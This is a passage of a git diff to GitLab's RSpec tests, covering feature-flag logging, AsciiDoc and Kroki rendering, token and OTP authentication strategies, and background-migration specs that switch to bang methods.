expect { described_class.enabled?(:my_feature_flag, default_enabled: true) }
.to raise_error(/The `default_enabled:` of/)
end
+
+ context 'when `default_enabled: :yaml` is used in code' do
+ it 'reads the default from the YAML definition' do
+ expect(described_class.enabled?(:my_feature_flag, default_enabled: :yaml)).to eq(false)
+ end
+
+ context 'when default_enabled is true in the YAML definition' do
+ let(:default_enabled) { true }
+
+ it 'reads the default from the YAML definition' do
+ expect(described_class.enabled?(:my_feature_flag, default_enabled: :yaml)).to eq(true)
+ end
+ end
+
+ context 'when YAML definition does not exist for an optional type' do
+ let(:optional_type) { described_class::Shared::TYPES.find { |name, attrs| attrs[:optional] }.first }
+
+ context 'when in dev or test environment' do
+ it 'raises an error for dev' do
+ expect { described_class.enabled?(:non_existent_flag, type: optional_type, default_enabled: :yaml) }
+ .to raise_error(
+ Feature::InvalidFeatureFlagError,
+ "The feature flag YAML definition for 'non_existent_flag' does not exist")
+ end
+ end
+
+ context 'when in production' do
+ before do
+ allow(Gitlab::ErrorTracking).to receive(:should_raise_for_dev?).and_return(false)
+ end
+
+ context 'when database exists' do
+ before do
+ allow(Gitlab::Database).to receive(:exists?).and_return(true)
+ end
+
+ it 'checks the persisted status and returns false' do
+ expect(described_class).to receive(:get).with(:non_existent_flag).and_call_original
+
+ expect(described_class.enabled?(:non_existent_flag, type: optional_type, default_enabled: :yaml)).to eq(false)
+ end
+ end
+
+ context 'when database does not exist' do
+ before do
+ allow(Gitlab::Database).to receive(:exists?).and_return(false)
+ end
+
+ it 'returns false without checking the status in the database' do
+ expect(described_class).not_to receive(:get)
+
+ expect(described_class.enabled?(:non_existent_flag, type: optional_type, default_enabled: :yaml)).to eq(false)
+ end
+ end
+ end
+ end
+ end
end
end
@@ -300,7 +359,119 @@ RSpec.describe Feature, stub_feature_flags: false do
end
end
+ shared_examples_for 'logging' do
+ let(:expected_action) { }
+ let(:expected_extra) { }
+
+ it 'logs the event' do
+ expect(Feature.logger).to receive(:info).with(key: key, action: expected_action, **expected_extra)
+
+ subject
+ end
+ end
+
+ describe '.enable' do
+ subject { described_class.enable(key, thing) }
+
+ let(:key) { :awesome_feature }
+ let(:thing) { true }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :enable }
+ let(:expected_extra) { { "extra.thing" => "true" } }
+ end
+
+ context 'when thing is an actor' do
+ let(:thing) { create(:project) }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :enable }
+ let(:expected_extra) { { "extra.thing" => "#{thing.flipper_id}" } }
+ end
+ end
+ end
+
+ describe '.disable' do
+ subject { described_class.disable(key, thing) }
+
+ let(:key) { :awesome_feature }
+ let(:thing) { false }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :disable }
+ let(:expected_extra) { { "extra.thing" => "false" } }
+ end
+
+ context 'when thing is an actor' do
+ let(:thing) { create(:project) }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :disable }
+ let(:expected_extra) { { "extra.thing" => "#{thing.flipper_id}" } }
+ end
+ end
+ end
+
+ describe '.enable_percentage_of_time' do
+ subject { described_class.enable_percentage_of_time(key, percentage) }
+
+ let(:key) { :awesome_feature }
+ let(:percentage) { 50 }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :enable_percentage_of_time }
+ let(:expected_extra) { { "extra.percentage" => "#{percentage}" } }
+ end
+ end
+
+ describe '.disable_percentage_of_time' do
+ subject { described_class.disable_percentage_of_time(key) }
+
+ let(:key) { :awesome_feature }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :disable_percentage_of_time }
+ let(:expected_extra) { {} }
+ end
+ end
+
+ describe '.enable_percentage_of_actors' do
+ subject { described_class.enable_percentage_of_actors(key, percentage) }
+
+ let(:key) { :awesome_feature }
+ let(:percentage) { 50 }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :enable_percentage_of_actors }
+ let(:expected_extra) { { "extra.percentage" => "#{percentage}" } }
+ end
+ end
+
+ describe '.disable_percentage_of_actors' do
+ subject { described_class.disable_percentage_of_actors(key) }
+
+ let(:key) { :awesome_feature }
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :disable_percentage_of_actors }
+ let(:expected_extra) { {} }
+ end
+ end
+
describe '.remove' do
+ subject { described_class.remove(key) }
+
+ let(:key) { :awesome_feature }
+
+ before do
+ described_class.enable(key)
+ end
+
+ it_behaves_like 'logging' do
+ let(:expected_action) { :remove }
+ let(:expected_extra) { {} }
+ end
+
context 'for a non-persisted feature' do
it 'returns nil' do
expect(described_class.remove(:non_persisted_feature_flag)).to be_nil
diff --git a/spec/lib/gitlab/anonymous_session_spec.rb b/spec/lib/gitlab/anonymous_session_spec.rb
index 671d452ad13..245ca02e91a 100644
--- a/spec/lib/gitlab/anonymous_session_spec.rb
+++ b/spec/lib/gitlab/anonymous_session_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Gitlab::AnonymousSession, :clean_gitlab_redis_shared_state do
end
it 'adds expiration time to key' do
- Timecop.freeze do
+ freeze_time do
subject.count_session_ip
Gitlab::Redis::SharedState.with do |redis|
diff --git a/spec/lib/gitlab/asciidoc/html5_converter_spec.rb b/spec/lib/gitlab/asciidoc/html5_converter_spec.rb
new file mode 100644
index 00000000000..84c2cda496e
--- /dev/null
+++ b/spec/lib/gitlab/asciidoc/html5_converter_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Asciidoc::Html5Converter do
+ describe 'convert AsciiDoc to HTML5' do
+ it 'appends user-content- prefix on ref (anchor)' do
+ doc = Asciidoctor::Document.new('')
+ anchor = Asciidoctor::Inline.new(doc, :anchor, '', type: :ref, id: 'cross-references')
+ converter = Gitlab::Asciidoc::Html5Converter.new('gitlab_html5')
+ html = converter.convert_inline_anchor(anchor)
+ expect(html).to eq('<a id="user-content-cross-references"></a>')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/asciidoc_spec.rb b/spec/lib/gitlab/asciidoc_spec.rb
index 6b93634690c..36e4decdead 100644
--- a/spec/lib/gitlab/asciidoc_spec.rb
+++ b/spec/lib/gitlab/asciidoc_spec.rb
@@ -20,7 +20,7 @@ module Gitlab
expected_asciidoc_opts = {
safe: :secure,
backend: :gitlab_html5,
- attributes: described_class::DEFAULT_ADOC_ATTRS,
+ attributes: described_class::DEFAULT_ADOC_ATTRS.merge({ "kroki-server-url" => nil }),
extensions: be_a(Proc)
}
@@ -35,7 +35,7 @@ module Gitlab
expected_asciidoc_opts = {
safe: :secure,
backend: :gitlab_html5,
- attributes: described_class::DEFAULT_ADOC_ATTRS,
+ attributes: described_class::DEFAULT_ADOC_ATTRS.merge({ "kroki-server-url" => nil }),
extensions: be_a(Proc)
}
@@ -252,6 +252,27 @@ module Gitlab
end
end
+ context 'with xrefs' do
+ it 'preserves ids' do
+ input = <<~ADOC
+ Learn how to xref:cross-references[use cross references].
+
+ [[cross-references]]A link to another location within an AsciiDoc document or between AsciiDoc documents is called a cross reference (also referred to as an xref).
+ ADOC
+
+ output = <<~HTML
+ <div>
+ <p>Learn how to <a href="#cross-references">use cross references</a>.</p>
+ </div>
+ <div>
+ <p><a id="user-content-cross-references"></a>A link to another location within an AsciiDoc document or between AsciiDoc documents is called a cross reference (also referred to as an xref).</p>
+ </div>
+ HTML
+
+ expect(render(input, context)).to include(output.strip)
+ end
+ end
+
context 'with checklist' do
it 'preserves classes' do
input = <<~ADOC
@@ -462,6 +483,34 @@ module Gitlab
expect(render(input, context)).to include(output.strip)
end
end
+
+ context 'with Kroki enabled' do
+ before do
+ allow_any_instance_of(ApplicationSetting).to receive(:kroki_enabled).and_return(true)
+ allow_any_instance_of(ApplicationSetting).to receive(:kroki_url).and_return('https://kroki.io')
+ end
+
+ it 'converts a graphviz diagram to image' do
+ input = <<~ADOC
+ [graphviz]
+ ....
+ digraph G {
+ Hello->World
+ }
+ ....
+ ADOC
+
+ output = <<~HTML
+ <div>
+ <div>
+ <a class="no-attachment-icon" href="https://kroki.io/graphviz/svg/eNpLyUwvSizIUHBXqOZSUPBIzcnJ17ULzy_KSeGqBQCEzQka" target="_blank" rel="noopener noreferrer"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Diagram" class="lazy" data-src="https://kroki.io/graphviz/svg/eNpLyUwvSizIUHBXqOZSUPBIzcnJ17ULzy_KSeGqBQCEzQka"></a>
+ </div>
+ </div>
+ HTML
+
+ expect(render(input, context)).to include(output.strip)
+ end
+ end
end
context 'with project' do
diff --git a/spec/lib/gitlab/auth/auth_finders_spec.rb b/spec/lib/gitlab/auth/auth_finders_spec.rb
index 3c19ef0bd1b..f927d5912bb 100644
--- a/spec/lib/gitlab/auth/auth_finders_spec.rb
+++ b/spec/lib/gitlab/auth/auth_finders_spec.rb
@@ -147,6 +147,13 @@ RSpec.describe Gitlab::Auth::AuthFinders do
expect(find_user_from_feed_token(:rss)).to eq user
end
+ it 'returns nil if valid feed_token and disabled' do
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
+ set_param(:feed_token, user.feed_token)
+
+ expect(find_user_from_feed_token(:rss)).to be_nil
+ end
+
it 'returns nil if feed_token is blank' do
expect(find_user_from_feed_token(:rss)).to be_nil
end
@@ -377,6 +384,16 @@ RSpec.describe Gitlab::Auth::AuthFinders do
expect { find_personal_access_token }.to raise_error(Gitlab::Auth::UnauthorizedError)
end
+
+ context 'when using a non-prefixed access token' do
+ let(:personal_access_token) { create(:personal_access_token, :no_prefix, user: user) }
+
+ it 'returns user' do
+ set_header('HTTP_AUTHORIZATION', "Bearer #{personal_access_token.token}")
+
+ expect(find_user_from_access_token).to eq user
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/auth/crowd/authentication_spec.rb b/spec/lib/gitlab/auth/crowd/authentication_spec.rb
new file mode 100644
index 00000000000..71eb8036fdd
--- /dev/null
+++ b/spec/lib/gitlab/auth/crowd/authentication_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Crowd::Authentication do
+ let(:provider) { 'crowd' }
+ let(:login) { generate(:username) }
+ let(:password) { 'password' }
+ let(:crowd_auth) { described_class.new(provider) }
+ let(:user_info) { { user: login } }
+
+ describe 'login' do
+ before do
+ allow(Gitlab::Auth::OAuth::Provider).to receive(:enabled?).with(provider).and_return(true)
+ allow(crowd_auth).to receive(:user_info_from_authentication).and_return(user_info)
+ end
+
+ it "finds the user if authentication is successful" do
+ create(:omniauth_user, extern_uid: login, username: login, provider: provider)
+
+ expect(crowd_auth.login(login, password)).to be_truthy
+ end
+
+ it "is false if the user does not exist" do
+ expect(crowd_auth.login(login, password)).to be_falsey
+ end
+
+ it "is false if the authentication fails" do
+ allow(crowd_auth).to receive(:user_info_from_authentication).and_return(nil)
+
+ expect(crowd_auth.login(login, password)).to be_falsey
+ end
+
+ it "fails when crowd is disabled" do
+ allow(Gitlab::Auth::OAuth::Provider).to receive(:enabled?).with('crowd').and_return(false)
+
+ expect(crowd_auth.login(login, password)).to be_falsey
+ end
+
+ it "fails if no login is supplied" do
+ expect(crowd_auth.login('', password)).to be_falsey
+ end
+
+ it "fails if no password is supplied" do
+ expect(crowd_auth.login(login, '')).to be_falsey
+ end
+ end
+end
diff --git a/spec/lib/gitlab/auth/ldap/user_spec.rb b/spec/lib/gitlab/auth/ldap/user_spec.rb
index ccaed94b5c8..e910ac09448 100644
--- a/spec/lib/gitlab/auth/ldap/user_spec.rb
+++ b/spec/lib/gitlab/auth/ldap/user_spec.rb
@@ -49,23 +49,6 @@ RSpec.describe Gitlab::Auth::Ldap::User do
end
end
- describe '.find_by_uid_and_provider' do
- let(:dn) { 'CN=John Åström, CN=Users, DC=Example, DC=com' }
-
- it 'retrieves the correct user' do
- special_info = {
- name: 'John Åström',
- email: 'john@example.com',
- nickname: 'jastrom'
- }
- special_hash = OmniAuth::AuthHash.new(uid: dn, provider: 'ldapmain', info: special_info)
- special_chars_user = described_class.new(special_hash)
- user = special_chars_user.save
-
- expect(described_class.find_by_uid_and_provider(dn, 'ldapmain')).to eq user
- end
- end
-
describe 'find or create' do
it "finds the user if already existing" do
create(:omniauth_user, extern_uid: 'uid=john smith,ou=people,dc=example,dc=com', provider: 'ldapmain')
diff --git a/spec/lib/gitlab/auth/o_auth/user_spec.rb b/spec/lib/gitlab/auth/o_auth/user_spec.rb
index 243d0a4cb45..6c6cee9c273 100644
--- a/spec/lib/gitlab/auth/o_auth/user_spec.rb
+++ b/spec/lib/gitlab/auth/o_auth/user_spec.rb
@@ -25,6 +25,23 @@ RSpec.describe Gitlab::Auth::OAuth::User do
let(:ldap_user) { Gitlab::Auth::Ldap::Person.new(Net::LDAP::Entry.new, 'ldapmain') }
+ describe '.find_by_uid_and_provider' do
+ let(:dn) { 'CN=John Åström, CN=Users, DC=Example, DC=com' }
+
+ it 'retrieves the correct user' do
+ special_info = {
+ name: 'John Åström',
+ email: 'john@example.com',
+ nickname: 'jastrom'
+ }
+ special_hash = OmniAuth::AuthHash.new(uid: dn, provider: 'ldapmain', info: special_info)
+ special_chars_user = described_class.new(special_hash)
+ user = special_chars_user.save
+
+ expect(described_class.find_by_uid_and_provider(dn, 'ldapmain')).to eq user
+ end
+ end
+
describe '#persisted?' do
let!(:existing_user) { create(:omniauth_user, extern_uid: 'my-uid', provider: 'my-provider') }
diff --git a/spec/lib/gitlab/auth/otp/session_enforcer_spec.rb b/spec/lib/gitlab/auth/otp/session_enforcer_spec.rb
new file mode 100644
index 00000000000..928aade4008
--- /dev/null
+++ b/spec/lib/gitlab/auth/otp/session_enforcer_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Otp::SessionEnforcer, :clean_gitlab_redis_shared_state do
+ let_it_be(:key) { create(:key)}
+
+ describe '#update_session' do
+ it 'registers a session in Redis' do
+ redis = double(:redis)
+ expect(Gitlab::Redis::SharedState).to receive(:with).and_yield(redis)
+
+ expect(redis).to(
+ receive(:setex)
+ .with("#{described_class::OTP_SESSIONS_NAMESPACE}:#{key.id}",
+ described_class::DEFAULT_EXPIRATION,
+ true)
+ .once)
+
+ described_class.new(key).update_session
+ end
+ end
+
+ describe '#access_restricted?' do
+ subject { described_class.new(key).access_restricted? }
+
+ context 'with existing session' do
+ before do
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set("#{described_class::OTP_SESSIONS_NAMESPACE}:#{key.id}", true )
+ end
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'without an existing session' do
+ it { is_expected.to be_truthy }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb b/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
index 18fd6d08057..88a245b6b10 100644
--- a/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
+++ b/spec/lib/gitlab/auth/otp/strategies/forti_authenticator_spec.rb
@@ -12,30 +12,32 @@ RSpec.describe Gitlab::Auth::Otp::Strategies::FortiAuthenticator do
let(:api_token) { 's3cr3t' }
let(:forti_authenticator_auth_url) { "https://#{host}:#{port}/api/v1/auth/" }
+ let(:response_status) { 200 }
subject(:validate) { described_class.new(user).validate(otp_code) }
before do
- stub_feature_flags(forti_authenticator: true)
+ stub_feature_flags(forti_authenticator: user)
stub_forti_authenticator_config(
+ enabled: true,
host: host,
port: port,
username: api_username,
- token: api_token
+ access_token: api_token
)
request_body = { username: user.username,
token_code: otp_code }
stub_request(:post, forti_authenticator_auth_url)
- .with(body: JSON(request_body), headers: { 'Content-Type' => 'application/json' })
- .to_return(status: response_status, body: '', headers: {})
+ .with(body: JSON(request_body),
+ headers: { 'Content-Type': 'application/json' },
+ basic_auth: [api_username, api_token])
+ .to_return(status: response_status, body: '')
end
context 'successful validation' do
- let(:response_status) { 200 }
-
it 'returns success' do
expect(validate[:status]).to eq(:success)
end
@@ -49,6 +51,16 @@ RSpec.describe Gitlab::Auth::Otp::Strategies::FortiAuthenticator do
end
end
+ context 'unexpected error' do
+ it 'returns error' do
+ error_message = 'boom!'
+ stub_request(:post, forti_authenticator_auth_url).to_raise(StandardError.new(error_message))
+
+ expect(validate[:status]).to eq(:error)
+ expect(validate[:message]).to eq(error_message)
+ end
+ end
+
def stub_forti_authenticator_config(forti_authenticator_settings)
allow(::Gitlab.config.forti_authenticator).to(receive_messages(forti_authenticator_settings))
end
diff --git a/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb b/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb
new file mode 100644
index 00000000000..1580fc82279
--- /dev/null
+++ b/spec/lib/gitlab/auth/otp/strategies/forti_token_cloud_spec.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Auth::Otp::Strategies::FortiTokenCloud do
+ let_it_be(:user) { create(:user) }
+ let(:otp_code) { 42 }
+
+ let(:url) { 'https://ftc.example.com:9696/api/v1' }
+ let(:client_id) { 'client_id' }
+ let(:client_secret) { 's3cr3t' }
+ let(:access_token_create_url) { url + '/login' }
+ let(:otp_verification_url) { url + '/auth' }
+ let(:access_token) { 'an_access_token' }
+ let(:access_token_create_response_body) { '' }
+
+ subject(:validate) { described_class.new(user).validate(otp_code) }
+
+ before do
+ stub_feature_flags(forti_token_cloud: user)
+
+ stub_const("#{described_class}::BASE_API_URL", url)
+
+ stub_forti_token_cloud_config(
+ enabled: true,
+ client_id: client_id,
+ client_secret: client_secret
+ )
+
+ access_token_request_body = { client_id: client_id,
+ client_secret: client_secret }
+
+ stub_request(:post, access_token_create_url)
+ .with(body: JSON(access_token_request_body), headers: { 'Content-Type' => 'application/json' })
+ .to_return(
+ status: access_token_create_response_status,
+ body: Gitlab::Json.generate(access_token_create_response_body),
+ headers: {}
+ )
+ end
+
+ context 'access token is created successfully' do
+ let(:access_token_create_response_body) { { access_token: access_token, expires_in: 3600 } }
+ let(:access_token_create_response_status) { 201 }
+
+ before do
+ otp_verification_request_body = { username: user.username,
+ token: otp_code }
+
+ stub_request(:post, otp_verification_url)
+ .with(body: JSON(otp_verification_request_body),
+ headers: {
+ 'Content-Type' => 'application/json',
+ 'Authorization' => "Bearer #{access_token}"
+ })
+ .to_return(status: otp_verification_response_status, body: '', headers: {})
+ end
+
+ context 'otp verification is successful' do
+ let(:otp_verification_response_status) { 200 }
+
+ it 'returns success' do
+ expect(validate[:status]).to eq(:success)
+ end
+ end
+
+ context 'otp verification is not successful' do
+ let(:otp_verification_response_status) { 401 }
+
+ it 'returns error' do
+ expect(validate[:status]).to eq(:error)
+ end
+ end
+ end
+
+ context 'access token creation fails' do
+ let(:access_token_create_response_status) { 400 }
+
+ it 'returns error' do
+ expect(validate[:status]).to eq(:error)
+ end
+ end
+
+ def stub_forti_token_cloud_config(forti_token_cloud_settings)
+ allow(::Gitlab.config.forti_token_cloud).to(receive_messages(forti_token_cloud_settings))
+ end
+end
diff --git a/spec/lib/gitlab/auth/request_authenticator_spec.rb b/spec/lib/gitlab/auth/request_authenticator_spec.rb
index b89ceb37076..ef6b1d72712 100644
--- a/spec/lib/gitlab/auth/request_authenticator_spec.rb
+++ b/spec/lib/gitlab/auth/request_authenticator_spec.rb
@@ -50,13 +50,13 @@ RSpec.describe Gitlab::Auth::RequestAuthenticator do
allow_any_instance_of(described_class).to receive(:find_user_from_web_access_token).and_return(access_token_user)
allow_any_instance_of(described_class).to receive(:find_user_from_feed_token).and_return(feed_token_user)
- expect(subject.find_sessionless_user([:api])).to eq access_token_user
+ expect(subject.find_sessionless_user(:api)).to eq access_token_user
end
it 'returns feed_token user if no access_token user found' do
allow_any_instance_of(described_class).to receive(:find_user_from_feed_token).and_return(feed_token_user)
- expect(subject.find_sessionless_user([:api])).to eq feed_token_user
+ expect(subject.find_sessionless_user(:api)).to eq feed_token_user
end
it 'returns static_object_token user if no feed_token user found' do
@@ -64,7 +64,7 @@ RSpec.describe Gitlab::Auth::RequestAuthenticator do
.to receive(:find_user_from_static_object_token)
.and_return(static_object_token_user)
- expect(subject.find_sessionless_user([:api])).to eq static_object_token_user
+ expect(subject.find_sessionless_user(:api)).to eq static_object_token_user
end
it 'returns job_token user if no static_object_token user found' do
@@ -72,17 +72,61 @@ RSpec.describe Gitlab::Auth::RequestAuthenticator do
.to receive(:find_user_from_job_token)
.and_return(job_token_user)
- expect(subject.find_sessionless_user([:api])).to eq job_token_user
+ expect(subject.find_sessionless_user(:api)).to eq job_token_user
end
it 'returns nil if no user found' do
- expect(subject.find_sessionless_user([:api])).to be_blank
+ expect(subject.find_sessionless_user(:api)).to be_blank
end
it 'rescue Gitlab::Auth::AuthenticationError exceptions' do
allow_any_instance_of(described_class).to receive(:find_user_from_web_access_token).and_raise(Gitlab::Auth::UnauthorizedError)
- expect(subject.find_sessionless_user([:api])).to be_blank
+ expect(subject.find_sessionless_user(:api)).to be_blank
+ end
+ end
+
+ describe '#find_personal_access_token_from_http_basic_auth' do
+ let_it_be(:personal_access_token) { create(:personal_access_token) }
+ let_it_be(:user) { personal_access_token.user }
+
+ before do
+ allow(subject).to receive(:has_basic_credentials?).and_return(true)
+ allow(subject).to receive(:user_name_and_password).and_return([user.username, personal_access_token.token])
+ end
+
+ context 'with API requests' do
+ before do
+ env['SCRIPT_NAME'] = '/api/endpoint'
+ end
+
+ it 'tries to find the user' do
+ expect(subject.user([:api])).to eq user
+ end
+
+ it 'returns nil if the token is revoked' do
+ personal_access_token.revoke!
+
+ expect(subject.user([:api])).to be_blank
+ end
+
+ it 'returns nil if the token does not have API scope' do
+ personal_access_token.update!(scopes: ['read_registry'])
+
+ expect(subject.user([:api])).to be_blank
+ end
+ end
+
+ context 'without API requests' do
+ before do
+ env['SCRIPT_NAME'] = '/web/endpoint'
+ end
+
+ it 'does not search for job users' do
+ expect(PersonalAccessToken).not_to receive(:find_by_token)
+
+ expect(subject.user([:api])).to be_nil
+ end
end
end
diff --git a/spec/lib/gitlab/auth_spec.rb b/spec/lib/gitlab/auth_spec.rb
index 1768ab41a71..dfd21983682 100644
--- a/spec/lib/gitlab/auth_spec.rb
+++ b/spec/lib/gitlab/auth_spec.rb
@@ -364,20 +364,33 @@ RSpec.describe Gitlab::Auth, :use_clean_rails_memory_store_caching do
let_it_be(:project_access_token) { create(:personal_access_token, user: project_bot_user) }
context 'with valid project access token' do
- before_all do
+ before do
project.add_maintainer(project_bot_user)
end
- it 'succeeds' do
+ it 'successfully authenticates the project bot' do
expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
.to eq(Gitlab::Auth::Result.new(project_bot_user, nil, :personal_access_token, described_class.full_authentication_abilities))
end
end
context 'with invalid project access token' do
- it 'fails' do
- expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
- .to eq(Gitlab::Auth::Result.new(nil, nil, nil, nil))
+ context 'when project bot is not a project member' do
+ it 'fails for a non-project member' do
+ expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
+ .to eq(Gitlab::Auth::Result.new(nil, nil, nil, nil))
+ end
+ end
+
+ context 'when project bot user is blocked' do
+ before do
+ project_bot_user.block!
+ end
+
+ it 'fails for a blocked project bot' do
+ expect(gl_auth.find_for_git_client(project_bot_user.username, project_access_token.token, project: project, ip: 'ip'))
+ .to eq(Gitlab::Auth::Result.new(nil, nil, nil, nil))
+ end
end
end
end
diff --git a/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb b/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb
index 2be9c03e5bd..54c14e7a4b8 100644
--- a/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments_spec.rb
@@ -9,10 +9,10 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillDeploymentClustersFromDeploy
it 'backfills deployment_cluster for all deployments in the given range with a non-null cluster_id' do
deployment_clusters = table(:deployment_clusters)
- namespace = table(:namespaces).create(name: 'the-namespace', path: 'the-path')
- project = table(:projects).create(name: 'the-project', namespace_id: namespace.id)
- environment = table(:environments).create(name: 'the-environment', project_id: project.id, slug: 'slug')
- cluster = table(:clusters).create(name: 'the-cluster')
+ namespace = table(:namespaces).create!(name: 'the-namespace', path: 'the-path')
+ project = table(:projects).create!(name: 'the-project', namespace_id: namespace.id)
+ environment = table(:environments).create!(name: 'the-environment', project_id: project.id, slug: 'slug')
+ cluster = table(:clusters).create!(name: 'the-cluster')
deployment_data = { cluster_id: cluster.id, project_id: project.id, environment_id: environment.id, ref: 'abc', tag: false, sha: 'sha', status: 1 }
expected_deployment_1 = create_deployment(**deployment_data)
@@ -21,7 +21,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillDeploymentClustersFromDeploy
out_of_range_deployment = create_deployment(**deployment_data, cluster_id: cluster.id) # expected to be out of range
# to test "ON CONFLICT DO NOTHING"
- existing_record_for_deployment_2 = deployment_clusters.create(
+ existing_record_for_deployment_2 = deployment_clusters.create!(
deployment_id: expected_deployment_2.id,
cluster_id: expected_deployment_2.cluster_id,
kubernetes_namespace: 'production'
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillDeploymentClustersFromDeploy
def create_deployment(**data)
@iid ||= 0
@iid += 1
- table(:deployments).create(iid: @iid, **data)
+ table(:deployments).create!(iid: @iid, **data)
end
end
end
diff --git a/spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb b/spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb
index 8a8edc1af29..539dff86168 100644
--- a/spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillProjectRepositories do
end
it 'returns the correct disk_path using the route entry' do
- project_legacy_storage_5.route.update(path: 'zoo/new-test')
+ project_legacy_storage_5.route.update!(path: 'zoo/new-test')
project = described_class.find(project_legacy_storage_5.id)
expect(project.disk_path).to eq('zoo/new-test')
@@ -93,8 +93,8 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillProjectRepositories do
subgroup.update_column(:parent_id, non_existing_record_id)
project = described_class.find(project_orphaned_namespace.id)
- project.route.destroy
- subgroup.route.destroy
+ project.route.destroy!
+ subgroup.route.destroy!
expect { project.reload.disk_path }
.to raise_error(Gitlab::BackgroundMigration::BackfillProjectRepositories::OrphanedNamespaceError)
diff --git a/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb b/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb
index 4e7a3a33f7e..48c5674822a 100644
--- a/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_project_settings_spec.rb
@@ -5,16 +5,16 @@ require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::BackfillProjectSettings, schema: 20200114113341 do
let(:projects) { table(:projects) }
let(:project_settings) { table(:project_settings) }
- let(:namespace) { table(:namespaces).create(name: 'user', path: 'user') }
- let(:project) { projects.create(namespace_id: namespace.id) }
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
subject { described_class.new }
describe '#perform' do
it 'creates settings for all projects in range' do
- projects.create(id: 5, namespace_id: namespace.id)
- projects.create(id: 7, namespace_id: namespace.id)
- projects.create(id: 8, namespace_id: namespace.id)
+ projects.create!(id: 5, namespace_id: namespace.id)
+ projects.create!(id: 7, namespace_id: namespace.id)
+ projects.create!(id: 8, namespace_id: namespace.id)
subject.perform(5, 7)
diff --git a/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb b/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb
index 39b49d008d4..9ce6a3227b5 100644
--- a/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_push_rules_id_in_projects_spec.rb
@@ -6,21 +6,21 @@ RSpec.describe Gitlab::BackgroundMigration::BackfillPushRulesIdInProjects, :migr
let(:push_rules) { table(:push_rules) }
let(:projects) { table(:projects) }
let(:project_settings) { table(:project_settings) }
- let(:namespace) { table(:namespaces).create(name: 'user', path: 'user') }
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
subject { described_class.new }
describe '#perform' do
it 'creates new project push_rules for all push rules in the range' do
- project_1 = projects.create(id: 1, namespace_id: namespace.id)
- project_2 = projects.create(id: 2, namespace_id: namespace.id)
- project_3 = projects.create(id: 3, namespace_id: namespace.id)
- project_settings_1 = project_settings.create(project_id: project_1.id)
- project_settings_2 = project_settings.create(project_id: project_2.id)
- project_settings_3 = project_settings.create(project_id: project_3.id)
- push_rule_1 = push_rules.create(id: 5, is_sample: false, project_id: project_1.id)
- push_rule_2 = push_rules.create(id: 6, is_sample: false, project_id: project_2.id)
- push_rules.create(id: 8, is_sample: false, project_id: 3)
+ project_1 = projects.create!(id: 1, namespace_id: namespace.id)
+ project_2 = projects.create!(id: 2, namespace_id: namespace.id)
+ project_3 = projects.create!(id: 3, namespace_id: namespace.id)
+ project_settings_1 = project_settings.create!(project_id: project_1.id)
+ project_settings_2 = project_settings.create!(project_id: project_2.id)
+ project_settings_3 = project_settings.create!(project_id: project_3.id)
+ push_rule_1 = push_rules.create!(id: 5, is_sample: false, project_id: project_1.id)
